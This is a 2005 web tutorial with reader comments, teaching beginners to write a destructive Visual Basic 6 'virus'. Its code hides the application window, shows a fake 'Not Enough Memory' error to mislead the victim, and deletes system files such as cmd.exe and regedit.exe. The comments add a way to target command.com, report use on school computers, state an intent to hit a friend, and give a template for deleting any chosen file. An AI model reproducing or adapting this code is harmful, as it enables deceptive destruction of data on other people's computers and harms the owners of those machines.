DO NOT TRY THIS AT HOME : Our text files and message bases are for INFORMATIONAL PURPOSES ONLY. DO NOT undertake any project based upon any information obtained from this or any other web site.We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
(107 votes) Published: Aug 07, 2005 3:33 a.m. In 11 Favorites Lists Viewed 8304 times
Visual Basic 6 – Creating a Simple Virus
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.
First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Private Sub Form_Load()
Text1.Text = “C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it ‘A’
Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn’t got enough memory to run, but in actual fact the victim doesn’t know that you have just removed their command file.
Here is to go about it…
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = “C:/Windows/System32/cmd.exe”
A = Text1.Text
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that’s how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
Private Sub Form_Load()
Form1.Visible = False
Msgbox (“Runtime Error 492. Not Enough Memory.”), vbCritical, “Runtime Error”
Kill “C:/Windows/System32/cmd.exe”
Kill “C:/Windows/regedit.exe”
End Sub
So above we will be removing the command file and the registry, I don’t think the victim will be best pleased about that do you.
Now I have shown you the above information I think it’s your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this…
Kill “C:/cmd.exe”
That’s all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial and if you have any questions or want more tutorials like this then please visit our website at the below url.
Aug 07, 2005 4:12 am - nope that deltes cmd.exe, which aint superly important, anyone who knows anything about ’puters will use command.com the dos version of cmd.exe, replace the cmd.exe with command.com and theyer skrewed
Aug 10, 2005 1:53 am - Love it I love it...Hopefully learn more things from you :)
I will be doin this shortly..i just need time to stay home an do it to some dumbass friend..but tell me something how would i come about sending this to someone? And can you teach us more?
Ap 17, 2006 6:19 am - i tried the virus at my skools computers and it didnt really worked. the problem when a system file gets deleted it just regenerates and comes back in the same place it was. i even tried it on my computer and the cmd.exe file kept comin back
Nov 20, 2006 8:26 pm - My version of virus Sorry there, acidently posted before my message was compleat.
Here is an example of a virus i made using this guys example.
’Instruct ons: Enter file(s) that you wish to destroy between quatation Marks. ex. "C:\\Documen s and Settings\\Billy&# 2;\My Documents\\Target File\\Target.doc& uot;
Private Sub Form_Load()
Kill ""
End Sub
Very straight Forward. Try not to screw up your own computer though... or anyone else’s computer for that matter, only certain people deserve this.
Edit Page
Message GodofTitans
Add Comment
Add to Favorites
Email to Friend
